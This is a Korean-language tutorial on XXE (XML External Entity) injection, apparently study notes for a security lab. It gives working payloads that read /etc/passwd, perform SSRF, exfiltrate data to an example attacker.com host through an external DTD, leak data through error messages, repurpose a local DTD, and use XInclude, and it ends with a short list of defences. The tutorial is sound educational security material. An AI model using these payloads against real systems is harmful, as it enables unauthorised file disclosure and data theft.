
XXE 취약점 개요#
XXE (XML External Entity) injection은 XML 처리 과정에서 발생하는 취약점으로, 공격자가 서버 내 파일에 접근하거나 백엔드/외부 시스템과 상호작용할 수 있게 합니다. 권한 없는 사용자가 의도하지 않은 동작을 유발할 수 있어 위험합니다.
XML 및 관련 개념#
XML Entities#
XML entities는 데이터를 직접 사용하지 않고 표현하는 방법입니다. 예: <
는 <
, >
는 >
로 표현됩니다.
DTD (Document Type Definition)#
DTD는 XML 문서의 구조와 데이터 유형을 정의합니다. 내부 DTD, 외부 DTD, 또는 혼합 형태로 선언 가능합니다.
XML Custom Entities#
사용자 정의 엔티티로, 데이터를 대체합니다. 예:
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
&myentity;
는 “my entity value"로 치환됩니다.
XML External Entities#
외부 리소스를 참조하는 엔티티입니다. 예:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd"> ]>
또는 외부 URL:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "<http://example.com>"> ]>
XXE 공격 유형#
- 중요 파일 내용 유출: 서버 파일 시스템에서 데이터를 읽음
- SSRF: 내부 시스템에 요청 유도
- Blind XXE: 응답 없이 외부로 데이터 유출
- 에러 메시지 활용: 에러를 통해 데이터 노출
1. 중요 파일 내용 유출#
외부 엔티티로 파일을 읽어 응답에 포함시킵니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
결과: /etc/passwd
내용이 응답에 포함됩니다.
2. SSRF (Server-Side Request Forgery)#
내부 시스템에 요청을 유도합니다.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "<http://internal.example.com>"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
보충: 응답에 데이터가 없어도 Blind SSRF로 확장 가능.
3. Blind XXE를 이용한 중요 정보 유출#
응답에 데이터가 반환되지 않을 때, 외부 서버로 데이터를 전송합니다.
- 외부 DTD 활용:
공격자 서버에 호스팅된 DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfiltrate;
대상 서버 페이로드:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "<http://attacker.com/malicious.dtd>"> %xxe;]>
보충: 일부 파서가 URL 유효성 검사로 차단 시, ftp://
사용 가능.
4. 에러 메시지를 통한 데이터 검색#
에러 메시지에 데이터를 포함시킵니다.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
결과: /etc/passwd
내용이 에러 메시지에 노출.
5. 로컬 DTD 재활용을 통한 Blind XXE 우회#
내부 DTD에서 파라미터 엔티티(Parameter Entity)의 중첩 사용이 금지된 경우, 전통적인 XXE 기법이 차단될 수 있습니다. 이를 우회하기 위해 로컬 DTD 재활용 기법이 사용됩니다.
로컬 DTD 재활용은 서버에 이미 존재하는 DTD 파일을 활용해 외부 엔티티를 호출하고, 이를 통해 데이터를 유출하는 방법입니다. 이 기법은 복잡하지만, 특정 환경에서 매우 효과적인 공격 수단이 될 수 있습니다.
서버 내 로컬 DTD 파일 활용
서버에는 일반적으로
/usr/share/yelp/dtd/docbookx.dtd
같은 기본 DTD 파일이 존재합니다. 공격자는 이를 외부 엔티티로 참조하여 호출합니다.기존 엔티티 재정의
로컬 DTD 파일에 정의된 엔티티(예:
%ISOamso
)를 공격자가 원하는 동작을 수행하도록 재정의합니다. 이를 통해 파일 읽기와 같은 악의적인 작업을 삽입합니다.에러 발생을 통한 유출
XML 파서가 처리 중 에러를 발생시키도록 유도하고, 에러 메시지에 민감한 데이터를 포함시켜 간접적으로 유출합니다.
공격 과정#
1. 로컬 DTD 파일 참조
먼저, 서버 내 존재하는 DTD 파일을 외부 엔티티로 불러옵니다.
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
local_dtd
라는 엔티티를 정의하여 로컬 DTD 파일을 참조합니다.
2. 엔티티 재정의
로컬 DTD에 정의된 엔티티(예: %ISOamso
)를 재정의하여 공격 로직을 삽입합니다. 아래는 그 예시입니다.
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM \\'file:///nonexistent/%file;\\'>">
%eval;
%error;
'>
- %file:
/etc/passwd
파일을 읽는 엔티티를 정의합니다. - %eval: 동적으로
%error
엔티티를 정의하는 중간 단계 엔티티입니다.%file
의 내용을 포함한 가짜 경로(/nonexistent/%file;
)를 생성합니다. - %error: 존재하지 않는 파일 경로를 참조하여 에러를 발생시킵니다. 이 에러 메시지에
%file
의 내용이 포함됩니다. %eval;
와%error;
를 호출하여 재정의 로직을 실행합니다.
3. 로컬 DTD 호출
마지막으로, 재정의된 엔티티가 적용된 로컬 DTD를 호출합니다.
%local_dtd;
- 이 호출로 인해 로컬 DTD가 파싱되며, 재정의된
%ISOamso
가 실행되어 파일 내용이 에러 메시지에 포함됩니다.
전체 페이로드 예시#
위 과정을 종합한 전체 XML 페이로드는 다음과 같습니다:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM \\'file:///nonexistent/%file;\\'>">
%eval;
%error;
'>
%local_dtd;
]>
- 이 페이로드를 XML 입력으로 제출하면, XML 파서가 로컬 DTD를 처리하면서 에러를 발생시키고,
/etc/passwd
파일의 내용이 에러 메시지에 포함되어 반환됩니다.
동작 원리 보충 설명#
왜 로컬 DTD를 사용하는가?
내부 DTD에서는
%entity;
와 같은 파라미터 엔티티를 중첩하여 사용하는 것이 금지되어 있어, 일반적인 XXE 공격이 차단됩니다. 하지만 외부 DTD(로컬 DTD 포함)를 호출하면 이 제약을 우회할 수 있습니다.에러 기반 유출
직접적인 응답에 데이터가 포함되지 않는 Blind XXE 환경에서는, XML 파서가 발생시키는 에러 메시지를 통해 데이터를 간접적으로 유출합니다.
조건
- 서버에 적절한 로컬 DTD 파일이 존재해야 합니다.
- XML 파서가 외부 엔티티 로드를 허용해야 합니다.
- 에러 메시지가 공격자에게 노출되어야 합니다.
실습 예시#
Blind XXE 취약점이 있는 /product/stock
엔드포인트에 다음 요청을 보냅니다:
POST /product/stock HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: [length]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM \\'file:///nonexistent/%file;\\'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3</productId><storeId>1</storeId></stockCheck>
서버가 에러를 반환하며 파일 내용이 포함됩니다:
HTTP/1.1 400 Bad Request
Content-Type: text/plain
"XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
..."
/etc/passwd
파일의 내용이 에러 메시지에 포함되어 노출됩니다.
추가 고려 사항#
- 로컬 DTD 경로 탐색:
/usr/share/yelp/dtd/docbookx.dtd
외에도 서버 환경에 따라 다른 경로(예:/usr/share/xml/docbook/schema/dtd/4.5/docbook.dtd
)를 시도해야 할 수 있습니다. - 방어 우회: 일부 XML 파서는 외부 엔티티를 차단하지만, 로컬 파일 호출(
file://
)은 허용하는 경우가 있어 이 기법이 유효합니다. - 제한점: 공격 성공을 위해서는 로컬 DTD 파일의 정확한 경로와 구조를 알아야 하며, 서버가 에러를 자세히 반환해야 합니다.
6. XInclude 공격#
XML이 아닌 요청에서도 활용 가능
<foo xmlns:xi="<http://www.w3.org/2001/XInclude>">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
보충: SOAP 등에서 숨겨진 공격 표면으로 사용 가능.
XXE 취약점 예방#
- DTD 및 외부 엔티티 비활성화: XML 파서 설정에서 차단
- 안전한 파서 옵션: 보안 강화 설정 적용
- 에러 메시지 관리: 상세 정보 노출 방지
- 입력 검증: XML 파싱 전 데이터 검증 강화